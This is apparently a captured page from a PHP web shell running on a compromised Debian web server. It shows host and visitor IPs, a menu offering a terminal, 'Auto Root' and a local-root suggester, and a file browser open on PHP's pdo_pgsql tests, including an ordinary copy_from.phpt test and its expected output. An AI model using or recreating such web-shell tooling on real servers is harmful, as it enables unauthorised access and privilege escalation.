Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
php-7.4.33 /
ext /
pdo_pgsql /
tests /
Delete
Unzip
Name
Size
Permission
Date
Action
CONFLICTS
6
B
-rw-rw-r--
2022-10-31 11:36
bug36727.phpt
718
B
-rw-rw-r--
2022-10-31 11:36
bug43925.phpt
1.48
KB
-rw-rw-r--
2022-10-31 11:36
bug46274.phpt
1.67
KB
-rw-rw-r--
2022-10-31 11:36
bug46274_2.phpt
1.91
KB
-rw-rw-r--
2022-10-31 11:36
bug48764.phpt
1.7
KB
-rw-rw-r--
2022-10-31 11:36
bug61267.phpt
577
B
-rw-rw-r--
2022-10-31 11:36
bug62479.phpt
2.04
KB
-rw-rw-r--
2022-10-31 11:36
bug62498-32bit.phpt
4.35
KB
-rw-rw-r--
2022-10-31 11:36
bug62498.phpt
4.35
KB
-rw-rw-r--
2022-10-31 11:36
bug62593.phpt
1.66
KB
-rw-rw-r--
2022-10-31 11:36
bug64953.phpt
1.39
KB
-rw-rw-r--
2022-10-31 11:36
bug66584.phpt
4.79
KB
-rw-rw-r--
2022-10-31 11:36
bug67462.phpt
926
B
-rw-rw-r--
2022-10-31 11:36
bug68199.phpt
2.81
KB
-rw-rw-r--
2022-10-31 11:36
bug68371.phpt
2.22
KB
-rw-rw-r--
2022-10-31 11:36
bug69344.phpt
1.03
KB
-rw-rw-r--
2022-10-31 11:36
bug69362.phpt
1.74
KB
-rw-rw-r--
2022-10-31 11:36
bug69752.phpt
1.44
KB
-rw-rw-r--
2022-10-31 11:36
bug70313.phpt
865
B
-rw-rw-r--
2022-10-31 11:36
bug70861.phpt
1.22
KB
-rw-rw-r--
2022-10-31 11:36
bug71573.phpt
703
B
-rw-rw-r--
2022-10-31 11:36
bug71885.phpt
1.06
KB
-rw-rw-r--
2022-10-31 11:36
bug71885_2.phpt
1.34
KB
-rw-rw-r--
2022-10-31 11:36
bug72294.phpt
3.16
KB
-rw-rw-r--
2022-10-31 11:36
bug72570.phpt
731
B
-rw-rw-r--
2022-10-31 11:36
bug72633.phpt
955
B
-rw-rw-r--
2022-10-31 11:36
bug73959.phpt
805
B
-rw-rw-r--
2022-10-31 11:36
bug75402.phpt
3.56
KB
-rw-rw-r--
2022-10-31 11:36
bug_33876.phpt
3.34
KB
-rw-rw-r--
2022-10-31 11:36
bug_49985.phpt
959
B
-rw-rw-r--
2022-10-31 11:36
bug_64705.phpt
427
B
-rw-rw-r--
2022-10-31 11:36
common.phpt
737
B
-rw-rw-r--
2022-10-31 11:36
config.inc
540
B
-rw-rw-r--
2022-10-31 11:36
copy_from.phpt
7.49
KB
-rw-rw-r--
2022-10-31 11:36
copy_to.phpt
3.74
KB
-rw-rw-r--
2022-10-31 11:36
debug_emulated_prepares.phpt
1.17
KB
-rw-rw-r--
2022-10-31 11:36
disable_prepares.phpt
1.26
KB
-rw-rw-r--
2022-10-31 11:36
getnotify.phpt
2.82
KB
-rw-rw-r--
2022-10-31 11:36
is_in_transaction.phpt
1.74
KB
-rw-rw-r--
2022-10-31 11:36
large_objects.phpt
2.45
KB
-rw-rw-r--
2022-10-31 11:36
Save
Rename
--TEST-- PDO PgSQL pgsqlCopyFromArray and pgsqlCopyFromFile --SKIPIF-- <?php if (!extension_loaded('pdo') || !extension_loaded('pdo_pgsql')) die('skip not loaded'); require __DIR__ . '/config.inc'; require __DIR__ . '/../../../ext/pdo/tests/pdo_test.inc'; PDOTest::skip(); ?> --FILE-- <?php require __DIR__ . '/../../../ext/pdo/tests/pdo_test.inc'; $db = PDOTest::test_factory(__DIR__ . '/common.phpt'); $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $db->setAttribute(PDO::ATTR_STRINGIFY_FETCHES, false); $db->exec('CREATE TABLE test (a integer not null primary key, b text, c integer)'); echo "Preparing test file and array for CopyFrom tests\n"; $tableRows = array(); $tableRowsWithDifferentNullValues = array(); for($i=0;$i<3;$i++) { $firstParameter = $i; $secondParameter = "test insert {$i}"; $tableRows[] = "{$firstParameter}\t{$secondParameter}\t\\N"; $tableRowsWithDifferentNullValues[] = "{$firstParameter};{$secondParameter};NULL"; $tableRowsWithDifferentNullValuesAndSelectedFields[] = "{$firstParameter};NULL"; } $filename = 'test_pgsqlCopyFromFile.csv'; $filenameWithDifferentNullValues = 'test_pgsqlCopyFromFileWithDifferentNullValues.csv'; $filenameWithDifferentNullValuesAndSelectedFields = 'test_pgsqlCopyFromFileWithDifferentNullValuesAndSelectedFields.csv'; file_put_contents($filename, implode("\n",$tableRows)); file_put_contents($filenameWithDifferentNullValues, implode("\n",$tableRowsWithDifferentNullValues)); file_put_contents($filenameWithDifferentNullValuesAndSelectedFields, implode("\n",$tableRowsWithDifferentNullValuesAndSelectedFields)); echo "Testing pgsqlCopyFromArray() with default parameters\n"; $db->beginTransaction(); var_dump($db->pgsqlCopyFromArray('test',$tableRows)); $stmt = $db->query("select * from test"); foreach($stmt as $r) { var_dump($r); } $db->rollback(); echo "Testing pgsqlCopyFromArray() with different field separator and not null indicator\n"; $db->beginTransaction(); var_dump($db->pgsqlCopyFromArray('test',$tableRowsWithDifferentNullValues,";","NULL")); $stmt = $db->query("select * from test"); foreach($stmt as $r) { var_dump($r); } $db->rollback(); echo "Testing pgsqlCopyFromArray() with only selected fields\n"; $db->beginTransaction(); var_dump($db->pgsqlCopyFromArray('test',$tableRowsWithDifferentNullValuesAndSelectedFields,";","NULL",'a,c')); $stmt = $db->query("select * from test"); foreach($stmt as $r) { var_dump($r); } $db->rollback(); echo "Testing pgsqlCopyFromArray() with error\n"; $db->beginTransaction(); try { var_dump($db->pgsqlCopyFromArray('test_error',$tableRowsWithDifferentNullValuesAndSelectedFields,";","NULL",'a,c')); } catch (Exception $e) { echo "Exception: {$e->getMessage()}\n"; } $db->rollback(); echo "Testing pgsqlCopyFromFile() with default parameters\n"; $db->beginTransaction(); var_dump($db->pgsqlCopyFromFile('test',$filename)); $stmt = $db->query("select * from test"); foreach($stmt as $r) { var_dump($r); } $db->rollback(); echo "Testing pgsqlCopyFromFile() with different field separator and not null indicator\n"; $db->beginTransaction(); var_dump($db->pgsqlCopyFromFile('test',$filenameWithDifferentNullValues,";","NULL")); $stmt = $db->query("select * from test"); foreach($stmt as $r) { var_dump($r); } $db->rollback(); echo "Testing pgsqlCopyFromFile() with only selected fields\n"; $db->beginTransaction(); var_dump($db->pgsqlCopyFromFile('test',$filenameWithDifferentNullValuesAndSelectedFields,";","NULL",'a,c')); $stmt = $db->query("select * from test"); foreach($stmt as $r) { var_dump($r); } $db->rollback(); echo "Testing pgsqlCopyFromFile() with error\n"; $db->beginTransaction(); try { var_dump($db->pgsqlCopyFromFile('test_error',$filenameWithDifferentNullValuesAndSelectedFields,";","NULL",'a,c')); } catch (Exception $e) { echo "Exception: {$e->getMessage()}\n"; } $db->rollback(); echo "Testing pgsqlCopyFromFile() with non existing file\n"; $db->beginTransaction(); try { var_dump($db->pgsqlCopyFromFile('test',"nonexisting/foo.csv",";","NULL",'a,c')); } catch (Exception $e) { echo "Exception: {$e->getMessage()}\n"; } $db->rollback(); // Clean up foreach (array($filename, $filenameWithDifferentNullValues, $filenameWithDifferentNullValuesAndSelectedFields) as $f) { @unlink($f); } ?> --EXPECTF-- Preparing test file and array for CopyFrom tests Testing pgsqlCopyFromArray() with default parameters bool(true) array(6) { ["a"]=> int(0) [0]=> int(0) ["b"]=> string(13) "test insert 0" [1]=> string(13) "test insert 0" ["c"]=> NULL [2]=> NULL } array(6) { ["a"]=> int(1) [0]=> int(1) ["b"]=> string(13) "test insert 1" [1]=> string(13) "test insert 1" ["c"]=> NULL [2]=> NULL } array(6) { ["a"]=> int(2) [0]=> int(2) ["b"]=> string(13) "test insert 2" [1]=> string(13) "test insert 2" ["c"]=> NULL [2]=> NULL } Testing pgsqlCopyFromArray() with different field separator and not null indicator bool(true) array(6) { ["a"]=> int(0) [0]=> int(0) ["b"]=> string(13) "test insert 0" [1]=> string(13) "test insert 0" ["c"]=> NULL [2]=> NULL } array(6) { ["a"]=> int(1) [0]=> int(1) ["b"]=> string(13) "test insert 1" [1]=> string(13) "test insert 1" ["c"]=> NULL [2]=> NULL } array(6) { ["a"]=> int(2) [0]=> int(2) ["b"]=> string(13) "test insert 2" [1]=> string(13) "test insert 2" ["c"]=> NULL [2]=> NULL } Testing pgsqlCopyFromArray() with only selected fields bool(true) array(6) { ["a"]=> int(0) [0]=> int(0) ["b"]=> NULL [1]=> NULL ["c"]=> NULL [2]=> NULL } array(6) { ["a"]=> int(1) [0]=> int(1) ["b"]=> NULL [1]=> NULL ["c"]=> NULL [2]=> NULL } array(6) { ["a"]=> int(2) [0]=> int(2) ["b"]=> NULL [1]=> NULL ["c"]=> NULL [2]=> NULL } Testing pgsqlCopyFromArray() with error Exception: SQLSTATE[42P01]: Undefined table: 7 %s: %stest_error%s Testing pgsqlCopyFromFile() with default parameters bool(true) array(6) { ["a"]=> int(0) [0]=> int(0) ["b"]=> string(13) "test insert 0" [1]=> string(13) "test insert 0" ["c"]=> NULL [2]=> NULL } array(6) { ["a"]=> int(1) [0]=> int(1) ["b"]=> string(13) "test insert 1" [1]=> string(13) "test insert 1" ["c"]=> NULL [2]=> NULL } array(6) { ["a"]=> int(2) [0]=> int(2) ["b"]=> string(13) "test insert 2" [1]=> string(13) "test insert 2" ["c"]=> NULL [2]=> NULL } Testing pgsqlCopyFromFile() with different field separator and not null indicator bool(true) array(6) { ["a"]=> int(0) [0]=> int(0) ["b"]=> string(13) "test insert 0" [1]=> string(13) "test insert 0" ["c"]=> NULL [2]=> NULL } array(6) { ["a"]=> int(1) [0]=> int(1) ["b"]=> string(13) "test insert 1" [1]=> string(13) "test insert 1" ["c"]=> NULL [2]=> NULL } array(6) { ["a"]=> int(2) [0]=> int(2) ["b"]=> string(13) "test insert 2" [1]=> string(13) "test insert 2" ["c"]=> NULL [2]=> NULL } Testing pgsqlCopyFromFile() with only selected fields bool(true) array(6) { ["a"]=> int(0) [0]=> int(0) ["b"]=> NULL [1]=> NULL ["c"]=> NULL [2]=> NULL } array(6) { ["a"]=> int(1) [0]=> int(1) ["b"]=> NULL [1]=> NULL ["c"]=> NULL [2]=> NULL } array(6) { ["a"]=> int(2) [0]=> int(2) ["b"]=> NULL [1]=> NULL ["c"]=> NULL [2]=> NULL } Testing pgsqlCopyFromFile() with error Exception: SQLSTATE[42P01]: Undefined table: 7 %s: %stest_error%s Testing pgsqlCopyFromFile() with non existing file Exception: SQLSTATE[HY000]: General error: 7 Unable to open the file